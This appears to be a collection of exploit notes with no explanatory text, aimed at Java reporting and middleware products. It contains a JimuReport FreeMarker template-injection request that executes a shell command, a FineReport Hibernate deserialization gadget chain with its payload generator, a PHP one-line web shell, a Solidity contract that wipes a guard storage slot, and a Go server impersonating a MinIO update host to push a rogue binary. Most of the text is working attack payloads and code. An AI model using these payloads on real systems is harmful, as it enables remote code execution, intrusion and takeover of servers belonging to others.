POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1Host: 192.168.1.108:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0 Config/100.2.9281.82Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Sec-GPC: 1Accept-Language: zh-CN,zhAccept-Encoding: gzip, deflateConnection: closeContent-Type: application/jsonContent-Length: 124
{    "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch /tmp/success\")}",    "type": "0"}

//积木报表排除filterChainDefinitionMap.put("/jmreport/**", "anon");filterChainDefinitionMap.put("/**/*.js.map", "anon");filterChainDefinitionMap.put("/**/*.css.map", "anon");

 @PostMapping({"/queryFieldBySql"})    public Result<?> c(@RequestBody JSONObject var1) {        ...        Map var12 = this.reportDbService.parseReportSql(var2, var3, var4, var5);        ...    }

public Map<String, Object> parseReportSql(String sql, String dbKey, Object paramArray, String type) throws JimuReportException {        HashMap var5 = new HashMap(5);        new ArrayList();        String var7 = this.jimuTokenClient.getToken();        Map var8 = null;        if (g.d(var7)) {            var8 = this.jimuTokenClient.getUserInfo(var7);        }
        if (g.d(paramArray)) {            sql = f.a(sql, var8, JSONArray.parseArray(paramArray.toString()));        } else {            sql = f.a(sql, var8, (JSONArray)null);        }        ...}

public static String a(String var0, Map<String, Object> var1, JSONArray var2) {    ...    var0 = a(var2, var0);    ...}

public static String a(JSONArray var0, String var1) {    ...    var1 = FreeMarkerUtils.a(var1, var2);    ...}

public static String a(String var0, Map<String, Object> var1) {        if (var0 == null) {            return null;        } else {            Configuration var2 = new Configuration();            var2.setNumberFormat("#.#########");            var2.setSharedVariable("func", new FunctionMethod());            var1.put("jeecg", new FreemarkerMethod());            var1.put("isNotEmpty", new NotEmptyMethod());            var2.setClassicCompatible(true);            StringWriter var3 = new StringWriter();
            try {                a.debug("模板内容:{}", var0.toString());                (new Template("template", new StringReader(var0), var2)).process(var1, var3);                a.debug("模板解析结果:{}", var3.toString());            } catch (TemplateException var5) {                var5.printStackTrace();            } catch (IOException var6) {                var6.printStackTrace();            }
            return var3.toString();        }    }

//积木报表排除filterChainDefinitionMap.put("/jmreport/**", "anon");

public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        if (!(handler instanceof HandlerMethod)) {            return true;        } else {            String var4 = e.j(request.getRequestURI().substring(request.getContextPath().length()));            short var5 = 500;            if (m.a(var4)) {                log.error("请注意，请求地址有xss攻击风险！" + var4);                this.backError(response, "请求地址有xss攻击风险!", Integer.valueOf(var5));                return false;            } else {                String var6 = this.jmBaseConfig.getCustomPrePath();                if (OkConvertUtils.isNotEmpty(var6) && !var6.startsWith("/")) {                    var6 = "/" + var6;                }
                request.setAttribute("customPrePath", var6);                HandlerMethod var7 = (HandlerMethod)handler;                Method var8 = var7.getMethod();                if (var4.contains("/jmreport/shareView/")) {                    return true;                } else {                    JimuNoLoginRequired var9 = (JimuNoLoginRequired)var8.getAnnotation(JimuNoLoginRequired.class);                    if (OkConvertUtils.isNotEmpty(var9)) {                        return true;                    } else {                        boolean var10 = false;
                        try {                            var10 = this.verifyToken(request);                        } catch (Exception var14) {                        }
                        if (!var10) {                            if (this.jimuReportShareService.isSharingEffective(var4, request)) {                                return true;                            } else {                                String var16 = request.getParameter("previousPage");                                if (OkConvertUtils.isNotEmpty(var16)) {                                    if (!var4.startsWith("/jmreport/view")) {                                        log.error("不被允许的钻取请求地址(" + request.getMethod() + ")：" + var4);                                        this.backError(response, "Token校验失败，无权限访问！", Integer.valueOf(var5));                                        return false;                                    } else if (this.jimuReportShareService.isShareingToken(var4, request)) {                                        return true;                                    } else {                                        log.error("分享链接失效或分享token不匹配(" + request.getMethod() + ")：" + var4);                                        this.backError(response, "分享链接失效或分享token不匹配，禁止钻取!", Integer.valueOf(var5));                                        return false;                                    }                                } else {                                    log.error("Token校验失败！请求无权限(" + request.getMethod() + ")：" + var4);                                    this.backError(response, "Token校验失败，无权限访问！", Integer.valueOf(var5));                                    return false;                                }                            }                        } else {                            RequiresRoles var15 = (RequiresRoles)var8.getAnnotation(RequiresRoles.class);                            Result var11 = this.permissionsVerifyHandler.verifyRoles(request, var15, var4);                            if (OkConvertUtils.isNotEmpty(var11) && !var11.isSuccess()) {                                this.backError(response, OkConvertUtils.getString(var11.getMessage(), "没有权限，请联系管理员分配权限！"), OkConvertUtils.getInt(var11.getCode(), var5));                                return false;                            } else {                                RequiresPermissions var12 = (RequiresPermissions)var8.getAnnotation(RequiresPermissions.class);                                Result var13 = this.permissionsVerifyHandler.verifyPermissions(request, var12);                                if (OkConvertUtils.isNotEmpty(var13) && !var13.isSuccess()) {                                    this.backError(response, OkConvertUtils.getString(var13.getMessage(), "没有权限，请联系管理员分配权限！"), OkConvertUtils.getInt(var13.getCode(), var5));                                    return false;                                } else {                                    return true;                                }                            }                        }                    }                }            }        }    }

exec "$PRGDIR"/"$EXECUTABLE" jpda start "$@"

set JPDA_ADDRESS=5005set JPDA_TRANSPORT=dt_socket

call "%EXECUTABLE%" jpda start %CMD_LINE_ARGS%

package Main;
import com.fr.rpc.serialization.InvocationSerializer;
import java.io.File;import java.io.FileInputStream;
public class Main {
    public static void main(String[] args) throws Exception {        File file = new File("./test.bin");        FileInputStream fileInputStream = new FileInputStream(file);        InvocationSerializer invocationSerializer = InvocationSerializer.getDefault();        invocationSerializer.deserialize(fileInputStream);    }}

package Main;
import java.io.Serializable;
public class User implements Serializable {    public int age;    public String name;
    public User(int age, String name) {        this.age = age;        this.name = name;    }
    private void readObject(java.io.ObjectInputStream stream) throws Exception {        stream.defaultReadObject();        System.out.println("User readObject");    }}

package Main;
import com.fr.rpc.serialization.InvocationSerializer;
import java.io.*;import java.util.HashMap;import java.util.Objects;
public class Main {
    public static void main(String[] args) throws Exception {                User user = new User(18, "mbx");        FileOutputStream fileOutputStream = new FileOutputStream("./test.bin");        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);        objectOutputStream.writeObject(user);        objectOutputStream.close();        //        FileInputStream fileIn = new FileInputStream("./test.bin");        ObjectInputStream in = new ObjectInputStream(fileIn);        File file = (File) in.readObject();    }}

package ysoserial.payloads;

import com.fr.third.org.hibernate.EntityMode;import com.fr.third.org.hibernate.engine.spi.TypedValue;import com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer;import com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer;import com.fr.third.org.hibernate.type.AbstractType;import com.fr.third.org.hibernate.type.ComponentType;import com.fr.third.org.hibernate.type.Type;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.JavaVersion;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;

/** * * com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl.get() * com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * com.fr.third.org.hibernate.type.ComponentType.getPropertyValue(C) * com.fr.third.org.hibernate.type.ComponentType.getHashCode() * com.fr.third.org.hibernate.engine.spi.TypedValue$1.initialize() * com.fr.third.org.hibernate.engine.spi.TypedValue$1.initialize() * com.fr.third.org.hibernate.internal.util.ValueHolder.getValue() * com.fr.third.org.hibernate.engine.spi.TypedValue.hashCode() * * * Requires: * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * * @author mbechler */@Authors({ Authors.MBECHLER })@PayloadTest(precondition = "isApplicableJavaVersion")public class FineHibernate1 implements ObjectPayload<Object>, DynamicDependencies {    public static boolean isApplicableJavaVersion() {        return JavaVersion.isAtLeast(7);    }
    public static String[] getDependencies () {        if ( System.getProperty("hibernate5") != null ) {            return new String[] {                "com.fr.third.org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",                "javax.transaction:javax.transaction-api:1.2"            };        }
        return new String[] {            "com.fr.third.org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",            "javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"        };
    }

    public static Object makeGetter ( Class<?> tplClass, String method ) throws Exception {        return makeHibernate5Getter(tplClass, method);        // return makeHibernate5Getter(tplClass, method);        // if ( System.getProperty("hibernate5") != null ) {        //     return makeHibernate5Getter(tplClass, method);        // }        // return makeHibernate4Getter(tplClass, method);    }

    public static Object makeHibernate4Getter ( Class<?> tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,            SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {        Class<?> getterIf = Class.forName("com.fr.third.org.hibernate.property.access.spi.Getter");        Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");        Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);        Reflections.setAccessible(bgCon);
        if ( !method.startsWith("get") ) {            throw new IllegalArgumentException("Hibernate4 can only call getters");        }
        String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
        Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);        Object arr = Array.newInstance(getterIf, 1);        Array.set(arr, 0, g);        return arr;    }

    public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException,            ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {        Class<?> getterIf = Class.forName("com.fr.third.org.hibernate.property.access.spi.Getter");        Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");        Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);        Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));        Object arr = Array.newInstance(getterIf, 1);        Array.set(arr, 0, g);        return arr;    }

    public Object getObject ( String command ) throws Exception {        Object tpl = Gadgets.createTemplatesImpl(command);        Object getters = makeGetter(tpl.getClass(), "getOutputProperties");        return makeCaller(tpl, getters);    }

    static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {        if ( System.getProperty("hibernate3") != null ) {            return makeHibernate3Caller(tpl, getters);        }        return makeHibernate45Caller(tpl, getters);    }

    static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);        Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);        Reflections.setFieldValue(t, "componentTuplizer", tup);        Reflections.setFieldValue(t, "propertySpan", 1);        Reflections.setFieldValue(t, "propertyTypes", new Type[] {            t        });
        TypedValue v1 = new TypedValue(t, null);        Reflections.setFieldValue(v1, "value", tpl);        Reflections.setFieldValue(v1, "type", t);
        TypedValue v2 = new TypedValue(t, null);        Reflections.setFieldValue(v2, "value", tpl);        Reflections.setFieldValue(v2, "type", t);
        return Gadgets.makeMap(v1, v2);    }

    static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,            InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {        // Load at runtime to avoid dependency conflicts        Class entityEntityModeToTuplizerMappingClass = Class.forName("com.fr.third.org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");        Class entityModeToTuplizerMappingClass = Class.forName("com.fr.third.org.hibernate.tuple.EntityModeToTuplizerMapping");        Class typedValueClass = Class.forName("com.fr.third.org.hibernate.engine.TypedValue");
        PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);        Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);        Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
        ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);        HashMap hm = new HashMap();        hm.put(EntityMode.POJO, tup);        Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });        Reflections.setFieldValue(t, "tuplizerMapping", emtm);        Reflections.setFieldValue(t, "propertySpan", 1);        Reflections.setFieldValue(t, "propertyTypes", new Type[] {            t        });
        Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);        Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);        Reflections.setFieldValue(v1, "value", tpl);        Reflections.setFieldValue(v1, "type", t);
        Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);        Reflections.setFieldValue(v2, "value", tpl);        Reflections.setFieldValue(v2, "type", t);
        return Gadgets.makeMap(v1, v2);    }

    public static void main ( final String[] args ) throws Exception {        PayloadRunner.run(FineHibernate1.class, args);    }}

        FileInputStream fileIn = new FileInputStream("./test.bin");        byte[] var3 = IOUtils.inputStream2Bytes(fileIn);        OutputStream out = new GZIPOutputStream(new FileOutputStream("./g.bin"));        out.write(var3);        out.close();
        FileInputStream gfileIn = new FileInputStream("./g.bin");        byte[] var4 = IOUtils.inputStream2Bytes(gfileIn);        WorkContext.setMessageHandler(new WorkspaceServerInvoker());        WorkContext.handleMessage(var4);

public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {        // ensure payload generation doesn't throw an exception        byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>() {            public byte[] call() throws Exception {                final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
                System.out.println("generating payload object(s) for command: '" + command + "'");
                ObjectPayload<?> payload = clazz.newInstance();                final Object objBefore = payload.getObject(command);                System.out.println("serializing payload");                byte[] ser = Serializer.serialize(objBefore);
                //FileOutputStream fileOutputStream = new FileOutputStream("test.bin");                //InvocationSerializer invocationSerializer = new InvocationSerializer(null);                //Method method = invocationSerializer.getClass().getDeclaredMethod("writeParams", Object[].class);                //method.setAccessible(true);                //Object[] myArgs = new Object[1];                //myArgs[0] = objBefore;                //method.invoke(myArgs);                //fileOutputStream.write(Serializer.serialize(invocationSerializer));                //fileOutputStream.close();                //InvocationPack invocationPack = new InvocationPack()
                Class<?>[] innerClasses = InvocationSerializer.class.getDeclaredClasses();                Class<?> innerClass = null;                for (Class<?> cls : innerClasses) {                    if (cls.getSimpleName().equals("InvocationPack")) {                        innerClass = cls;                    }                }                Constructor<?> constructor = innerClass.getDeclaredConstructor(String.class, String.class, Class[].class, byte[][].class);                constructor.setAccessible(true);                InvocationSerializer invocationSerializer = new InvocationSerializer(null);                byte[] s = ser;                byte[][] b = new byte[1][];                b[0] = new byte[ser.length];                System.arraycopy(ser, 0, b[0], 0, ser.length);                Class[] c = new Class[]{String.class};                Object innerObject = constructor.newInstance( "a", "a", c, b);                //byte[] ser2 = Serializer.serialize(innerObject);                //FileOutputStream fileOutputStream = new FileOutputStream("2test.bin");                //fileOutputStream.write(ser2);                Map map = new HashMap<String,String>();                //fileOutputStream.write(Serializer.serialize(map));                //fileOutputStream.close();
                ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.txt"));                oos.writeObject(innerObject);                oos.writeObject(map);                Utils.releasePayload(payload, objBefore);                return ser;            }        });
        try {            System.out.println("deserializing payload");            final Object objAfter = Deserializer.deserialize(serialized);        } catch (Exception e) {            e.printStackTrace();        }
    }

    @PostMapping(value = "/data/removal")    @Secured(action = ActionTypes.WRITE, resource = "nacos/admin")    public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {        DeferredResult<RestResult<String>> response = new DeferredResult<>();        if (!PropertyUtil.isEmbeddedStorage()) {            response.setResult(RestResultUtils.failed("Limited to embedded storage mode"));            return response;        }        DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);        WebUtils.onFileUpload(multipartFile, file -> {            NotifyCenter.publishEvent(new DerbyImportEvent(false));            databaseOperate.dataImport(file).whenComplete((result, ex) -> {                NotifyCenter.publishEvent(new DerbyImportEvent(true));                if (Objects.nonNull(ex)) {                    response.setResult(RestResultUtils.failed(ex.getMessage()));                    return;                }                response.setResult(result);            });        }, response);        return response;    }

pragma solidity ^0.8.0;
contract DelegatecallExploitContract {    bytes32 internal constant GUARD_STORAGE_SLOT = 0x4a204f620c8c5ccdca3fd54d003badd85ba500436a431f0cbda4f558c93c34c8;
    function deleteGuardStorage() public {        assembly {            sstore(GUARD_STORAGE_SLOT, 0)        }    }}

<input type="text" name="product_name" id="product_name" value="test"  style="height: 25px; width: 200px;">

<input type="text" name="product_name" id="product_name" value="test"  style="height: 25px; width: 200px;">

<?php $func = new ReflectionFunction($_GET['m']); echo $func->invokeArgs(array($_GET['c']));

package main
import (    "net/http"    "os")
//func main() {//    cmd := exec.Command("sh", "-c", "open -a Calculator")//    cmd.Run()//}
func main() {    http.HandleFunc("/info", Evil)    http.HandleFunc("/minio.RELEASE.2023-05-22T03-08-07Z", evil)    http.ListenAndServe("0.0.0.0:8000", nil)}
func Evil(w http.ResponseWriter, r *http.Request) {    println("info")    w.Write([]byte("9ff209a2e3f9b9d61cb26e4c9953e8ce4985f1073120ed7794b0337033174e89 minio.RELEASE.2023-05-22T03-08-07Z\n"))}
func evil(w http.ResponseWriter, r *http.Request) {    println("evil")    b, _ := os.ReadFile("main")    w.Write(b)}